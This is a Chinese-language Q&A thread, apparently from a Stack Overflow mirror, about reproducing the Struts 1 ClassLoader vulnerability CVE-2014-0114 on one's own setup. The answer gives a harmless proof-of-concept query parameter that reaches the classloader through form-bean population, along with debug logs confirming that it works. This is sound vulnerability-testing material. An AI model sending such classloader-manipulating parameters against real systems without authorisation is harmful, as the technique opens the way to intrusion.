Sky*_*ker 2 security jboss classloader struts-1 reproducible-research
在Struts1中,我听说有一个由CVE-2014-0114引起的类加载器漏洞问题.但是我无法在我的项目中重现这一点.任何人都可以帮助我如何重现这个问题.我用Google搜索但没有得到任何复制程序.
我使用struts-1.1,Jboss -4.2.3.GA,Apache 2.2.0,MySql 5.0.37, JKMod, JDK 1.6.0_12, Ant 1.7.0我的web项目.
小智 11
尝试调用映射到struts操作的URL(由操作表单支持).框架将尝试从查询参数填充表单bean.因此,如果您有一个类似的查询参数?class.classLoader.defaultAssertionStatus=true,则转换为formBean.getClass().getClassLoader().setDefaultAssertionStatus(true).
如果已启用调试日志记录,则会看到以下消息:
2014-05-05 12:57:50,238 DEBUG [org.apache.struts.action.RequestProcessor] Populating bean properties from this request
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils] BeanUtils.populate(com.xxx.struts.demo.web.form.SimpleForm@71909bc, {class.classLoader.defaultAssertionStatus=[Ljava.lang.String;@a6b23fd4})
2014-05-05 12:57:50,238 DEBUG [org.apache.commons.beanutils.BeanUtils] setProperty(com.xxx.struts.demo.web.form.SimpleForm@71909bc, class.classLoader.defaultAssertionStatus, [true])
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils] Target bean = com.ibm.ws.classloading.internal.AppClassLoader@3ac10955
2014-05-05 12:57:50,246 DEBUG [org.apache.commons.beanutils.BeanUtils] Target name = defaultAssertionStatus
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils] Convert string 'true' to class 'boolean'
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.ConvertUtils] Using converter org.apache.commons.beanutils.converters.BooleanConverter@de2943ef
2014-05-05 12:57:50,250 DEBUG [org.apache.commons.beanutils.PropertyUtils] setSimpleProperty: Invoking method public void java.lang.ClassLoader.setDefaultAssertionStatus(boolean) with value true (class java.lang.Boolean)
Run Code Online (Sandbox Code Playgroud)